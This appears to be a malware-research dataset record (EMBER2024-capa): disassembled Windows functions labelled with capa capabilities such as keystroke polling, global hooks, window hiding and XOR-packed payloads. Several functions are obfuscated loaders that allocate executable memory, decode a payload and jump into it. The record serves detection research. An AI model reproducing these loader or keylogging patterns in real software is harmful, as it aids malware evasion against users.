joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e87e8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e8993
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x3c], 0
jne 0x4e8974
mov dl, 1
mov eax, dword [0x43e39c]
call fcn.0044c87c
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
add eax, 0x40
call fcn.004094a8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4e8963
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00520e4c
test al, al
je 0x4e8956
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x4e89a4
lea eax, [ebp - 0x394]
call fcn.004237cc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x4e8956
xor eax, eax
push ebp
push 0x4e894f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x4e8a14
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x4e8938
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a310
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x44]
jne 0x4e8938
mov eax, dword [ebp - 4]
add eax, 0x40
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a310
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e8956
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4e8859
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov byte [eax + 0x39], 0
mov dl, 1
call fcn.0044c7b8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x3c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e899a
lea eax, [ebp - 0x3a0]
call fcn.004094a8
ret

Function at 0x4e954c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x5692f4]
cmp byte [eax + 0xb1], 0
jne 0x4e95be
cmp dword [0x569314], 0
jne 0x4e957e
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, dword [0x562370]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x569314], eax
cmp dword [0x569310], 0
jne 0x4e9599
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventW
mov dword [0x569310], eax
cmp dword [0x569318], 0
jne 0x4e95be
push esp
push 0
push 0
mov eax, dword [0x56236c]
push eax
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x569318], eax
pop edx
ret
Function at 0x4e98d8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x4e98ef
add esp, 0xfffffff0
call fcn.00407e68
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00455448
mov eax, dword [0x563434]
cmp byte [eax], 0
jne 0x4e991c
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x184], al
mov eax, dword [0x563794]
cmp word [eax + 2], 0
jne 0x4e9936
mov eax, dword [0x563794]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004ebacc
mov eax, dword [0x5638d8]
cmp word [eax + 2], 0
jne 0x4e9950
mov eax, dword [0x5638d8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004ebcd0
mov byte [ebx + 0x39], 0
mov dl, 1
mov eax, dword [0x463e68]
call fcn.00469e68
mov esi, eax
mov dword [ebx + 0x40], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4ec248
mov dl, 1
mov eax, dword [0x43ac28]
call fcn.0040782c
mov dword [ebx + 0x94], eax
mov dl, 1
mov eax, dword [0x43ac28]
call fcn.0040782c
mov dword [ebx + 0xb4], eax
xor eax, eax
mov dword [ebx + 0x64], eax
xor eax, eax
mov dword [ebx + 0x88], eax
mov dword [ebx + 0x60], 0xff000018
mov dword [ebx + 0x7c], 0x1f4
mov byte [ebx + 0x80], 1
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x78], 0x9c4
mov byte [ebx + 0x8c], 0
mov byte [ebx + 0xa9], 1
mov byte [ebx + 0xc0], 1
mov dl, 1
mov eax, dword [0x468748]
call fcn.004734b4
mov esi, eax
mov dword [ebx + 0xa4], esi
push 0x4e9b34
mov eax, dword [0x56362c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.00473944
mov eax, dword [ebx + 0xa4]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4ec530
mov dl, 1
mov eax, dword [0x43ac28]
call fcn.0040782c
mov dword [ebx + 0x9c], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x56362c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.004235cc
test eax, eax
je 0x4e9a64
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.0042337c
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.004235b0
test eax, eax
je 0x4e9a7c
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x90]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.0040a310
push ebx
push 0x4eb4a4
call fcn.004df490
mov dword [ebx + 0x180], eax
mov byte [ebx + 0xd4], 0
mov eax, dword [0x563434]
cmp byte [eax], 0
jne 0x4e9acd
mov eax, ebx
call fcn.004e9cf4
mov byte [ebx + 0x5d], 1
mov byte [ebx + 0x5e], 1
mov byte [ebx + 0x5f], 1
mov byte [ebx + 0xaa], 1
mov byte [ebx + 0xd5], 0
mov byte [ebx + 0xe0], 0
xor eax, eax
mov dword [ebx + 0xd8], eax
mov byte [ebx + 0xd7], 0
xor eax, eax
mov dword [ebx + 0xac], eax
mov eax, ebx
call fcn.004ec778
mov eax, ebx
call fcn.004ed3a4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4e9b2a
call fcn.00407ec0
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4ea02c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x178]
test eax, eax
je 0x4ea0d8
cmp dword [ebx + 0x98], 0
jne 0x4ea0d2
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4e9f64
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x94]
cmp dword [eax + 8], 0
je 0x4ea0d2
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
mov eax, esi
mov edx, 0xffffffec
push edx
push eax
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4ea098
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x94]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4ea0d2
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x94]
call fcn.00448250
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4ea0a7
inc dword [ebx + 0x98]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4ea2f8
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x5692f4]
cmp dword [eax + 0x178], 0
je 0x4ea45d
test bl, bl
jne 0x4ea3ab
cmp dword [esi + 0xa0], 0
jne 0x4ea3a0
mov eax, esi
call fcn.004ed1f4
push eax
push 0x4ea204
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x48], 0
je 0x4ea371
mov eax, dword [0x5692f4]
cmp byte [eax + 0xd7], 0
je 0x4ea371
mov eax, dword [esi + 0xdc]
call fcn.0040b6d0
mov edi, eax
cmp edi, 0
jl 0x4ea371
push 0
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ea35a
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ea3a0
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.00448250
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ea380
inc dword [esi + 0xa0]
jmp 0x4ea45d
cmp dword [esi + 0xa0], 0
jle 0x4ea45d
dec dword [esi + 0xa0]
cmp dword [esi + 0xa0], 0
jne 0x4ea45d
cmp dword [esi + 0x48], 0
je 0x4ea408
mov eax, dword [0x5692f4]
cmp byte [eax + 0xd7], 0
je 0x4ea408
mov eax, dword [esi + 0xdc]
call fcn.0040b6d0
mov edi, eax
cmp edi, 0
jl 0x4ea408
push 5
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4ea3f1
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4ea437
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.00448250
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4ea417
mov eax, dword [esi + 0x9c]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xdc]
mov ecx, 1
mov edx, dword [0x4dbe30]
call fcn.0040b87c
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x5015ac
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x50170b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x562500], 0
mov word [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push eax
call sub.user32.dll_GetKeyboardLayoutNameW
mov dl, 1
mov eax, dword [0x45e1a4]
call fcn.0045f2f0
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x5016e1
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0045f3d8
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x20]
mov ecx, 0xa
call fcn.0040a310
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 0x501724
call fcn.0040a4c0
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.0045f664
test al, al
je 0x5016cb
lea ecx, [ebp - 4]
mov edx, 0x501798
mov eax, dword [ebp - 0xc]
call fcn.0045feec
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0042a548
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x5016cb
xor edx, edx
push ebp
push 0x5016c4
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x5017b0
mov eax, dword [ebp - 8]
push eax
call fcn.00410974
test eax, eax
je 0x5016ad
mov ebx, eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x5016ad
call fcn.00501538
test eax, eax
je 0x50169d
mov eax, dword [ebx + 0x50]
jmp 0x5016a0
mov eax, dword [ebx + 0x28]
and eax, 1
cmp eax, 1
sete byte [0x562500]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5016cb
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_2
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5016e8
mov eax, dword [ebp - 0xc]
call fcn.0040785c
ret

Function at 0x501814
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x50185b
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x50183e
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x50184f
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x50185b
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret
Function at 0x50ef38
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x569388], 0
je 0x50f079
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x563894]
mov edx, dword [edx]
xor al, byte [edx + 0xc0]
je 0x50f079
mov eax, dword [0x56938c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x569388]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x50f048
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x569388]
call fcn.00448250
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x50f040
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1f2], 0
je 0x50f040
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x68]
test al, al
je 0x50f040
mov eax, dword [ebp - 0x14]
call fcn.0051aab8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x50f040
push ebp
call fcn.0050eef4
pop ecx
test al, al
jne 0x50f040
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffba
call fcn.00407bb8
test al, al
je 0x50f040
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbb
call fcn.00407bb8
cmp byte [ebp - 1], 0
je 0x50f040
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x28]
call fcn.0040f090
test al, al
je 0x50f040
mov edx, dword [ebp - 0x14]
mov eax, dword [0x56938c]
call fcn.0050e654
inc edi
dec ebx
jne 0x50ef9d
mov eax, dword [0x56938c]
cmp dword [eax + 8], 0
jle 0x50f060
mov eax, dword [0x56938c]
call fcn.0050e70c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x50f079
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0050ed5c
pop ecx
test al, al
jne 0x50f079
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40596d
pop dword [ebp - 0x3c]
mov eax, 0xbafc0633
sub eax, 0xbabbacc6
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe5460cd3
add dword [ebp - 0x4c], 0x690c3878
mov dword [ebp - 0x48], 0x2e54ada9
add dword [ebp - 0x48], 0x3de9e9c
mov dword [ebp - 0x44], 0xc209dda6
add dword [ebp - 0x44], 0x8a426688
mov dword [ebp - 0x40], 0xe1ba2abf
add dword [ebp - 0x40], 0x1e45d541
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x410665f6
sub eax, 0x40c5f596
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x7112b65f
sub dword [ebp - 0x4c], 0xfca04d09
mov dword [ebp - 0x48], 0x8cf701e5
add dword [ebp - 0x48], 0xb4755f90
mov dword [ebp - 0x44], 0x2b68299f
add dword [ebp - 0x44], 0x380742cd
mov dword [ebp - 0x40], 0xf664e233
sub dword [ebp - 0x40], 0xf664e233
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xa589dca
sub eax, 0xa182cca
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x37a9f
push 0
call eax
mov ecx, 0x40d90931
sub ecx, 0x40d8bd67
xor edx, edx
add edx, eax
mov edi, 0x68113037
add edi, 0x982fcfc9
add edi, dword [ebp - 0x3c]
mov esi, 0xc55bc08f
sub esi, 0x70e5c798
xor dword [ebp - 0x18], 0x356d475a
mov ebx, dword [edi]
mov dword [ebp - 0x28], 0x389f81f1
sub ebx, esi
add dword [ebp - 0x18], eax
mov dword [edx], ebx
sub dword [ebp - 0x30], 0x7de68d5d
add edx, 0xf92b999b
sub edx, 0xf92b9997
add edi, 4
loop 0x405a91
add eax, 0x49e5abc1
add eax, 0xb61b763a
xor ebx, ebx
add ebx, eax
add eax, 0x1220641
add eax, 0xfeddf9c4
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x406937
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x40b138
call fcn.00406c3c
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x40dbfc
push 0
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
test eax, eax
je 0x4066d6
cmp eax, esi
jne 0x4066c9
xor esi, esi
inc esi
mov ebx, esi
jmp 0x4066d9
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x4066b0
xor esi, esi
inc esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x4066ec
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x40671b
mov eax, dword [0x40dbf8]
test eax, eax
jne 0x406715
mov dword [0x40dbf8], esi
push 0x4072cc
push 0x4072c4
call sub.MSVCR80.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40671b
jmp 0x406843
mov dword [0x40c2cc], esi
mov eax, dword [0x40dbf8]
cmp eax, esi
jne 0x40673f
push 0x4072c0
push 0x4072b8
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x40dbf8], 2
test ebx, ebx
jne 0x40674b
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40dc08], 0
je 0x40676f
push 0x40dc08
call fcn.00406bc2
pop ecx
test eax, eax
je 0x40676f
push 0
push 2
push 0
call dword [0x40dc08]
mov eax, dword [sym.imp.MSVCR80.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x4067cb
test al, al
je 0x406789
cmp dword [ebp - 0x1c], 0
jne 0x4067cb
mov al, byte [esi]
test al, al
je 0x406799
cmp al, 0x20
ja 0x406799
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406789
test byte [ebp - 0x3c], 1
je 0x4067a5
movzx eax, word [ebp - 0x38]
jmp 0x4067a8
push 0xa
pop eax
push eax
push esi
push 0
push 0x400000
call main
mov dword [0x40c2c8], eax
cmp dword [0x40c2bc], 0
jne 0x40681f
push eax
call dword [sym.imp.MSVCR80.dll_exit]
cmp al, 0x22
jne 0x4067da
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR80.dll__ismbblead]
pop ecx
test eax, eax
je 0x4067ed
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x406776
cmp dword [0x40c2cc], 0
jne 0x40682e
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2c8]
jmp 0x40684f
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.00406c81
ret
call fcn.0040595e
jmp 0x406676

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x42a84f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x42a85e
pop dword [ebp - 0x3c]
mov eax, 0x62ac3e1c
sub eax, 0x626995be
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x5638d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x81ffb6bb
add ecx, 0x7e00aa8e
mov edi, eax
mov ebx, 0xcf5183e6
sub ebx, 0xcf0905e6
add ebx, dword [ebp - 0x3c]
mov esi, 0x46199f49
add dword [ebp - 0x18], edx
mov edx, dword [ebx]
xor dword [ebp - 0x2c], edi
xor edx, esi
sub dword [ebp - 0x28], 0x9f47d667
mov dword [edi], edx
add edi, 0x5993d54
add edi, 0xfa66c2b0
add ebx, 0xb954a543
sub ebx, 0xb954a53f
loop 0x42a8b2
add eax, 0x590b95b3
add eax, 0xa6f5e244
mov ebx, eax
add eax, 5
mov ecx, 0xe8da0945
add ecx, 0x1765f6bb
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x1001aee9
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x100d0db4
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100dbeac
mov dword [esi + 8], 0x100d97c0
mov dword [esi + 0xc], eax
mov dword [ebp - 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x60], eax
push fcn.1000b96d
push 0x1001b0f6
push 6
lea eax, [esi + 0x160]
push 8
push eax
mov byte [ebp - 4], 7
call fcn.1002a3b4
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dbe78
mov dword [esi + 4], 0x100dbe5c
mov dword [esi + 8], 0x100dbe4c
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x100248ea
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
push esi
mov ecx, dword [esp + 8]
lea esi, [edx + ecx]
cmp edx, esi
je 0x10024919
push edi
movzx edi, byte [edx]
mov ecx, eax
and ecx, 0xff
xor ecx, edi
shr eax, 8
movzx ecx, word [ecx*2 + 0x100f75d0]
xor eax, ecx
inc edx
cmp edx, esi
jne 0x100248f9
pop edi
pop esi
ret 4

Function at 0x10029218
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x100d1c35
call fcn.100cece0
push ecx
push esi
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x10], esi
mov dword [esi], 0x100d9a00
mov dword [esi + 4], 0x100d9c7c
mov dword [esi + 8], eax
mov dword [ebp - 4], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
call fcn.1000250f
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x100dd620
mov dword [esi + 4], 0x100dd610
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x1002a3b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002a3c3
pop dword [ebp - 0x40]
mov eax, 0x19abac0
add eax, 0xe67e903
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x416db
push 0
mov eax, 0x2d7fb0e
sub eax, 0xf2ca6ae6
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xa284991d
sub ecx, 0xa2845aba
xor esi, esi
add esi, eax
mov edi, 0x16745963
sub edi, 0x6623b63
add edi, dword [ebp - 0x40]
mov edx, 0xd895d353
add edx, 0x6c7fa80f
sub dword [ebp - 0x24], ebx
mov ebx, dword [edi]
xor dword [ebp - 0x20], 0xa59905ca
sub ebx, edx
mov dword [ebp - 0x3c], 0xc6e5542b
mov dword [esi], ebx
add dword [ebp - 0x24], 0x3a7de603
add esi, 0x6486fd41
sub esi, 0x6486fd3d
add edi, 0x4440341e
sub edi, 0x4440341a
loop 0x1002a424
add eax, 0x204cb67f
add eax, 0xdfb435e0
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x175db07a
add ecx, 0xf8a24f86
add ecx, dword [ebp - 0x40]
call ebx
leave
ret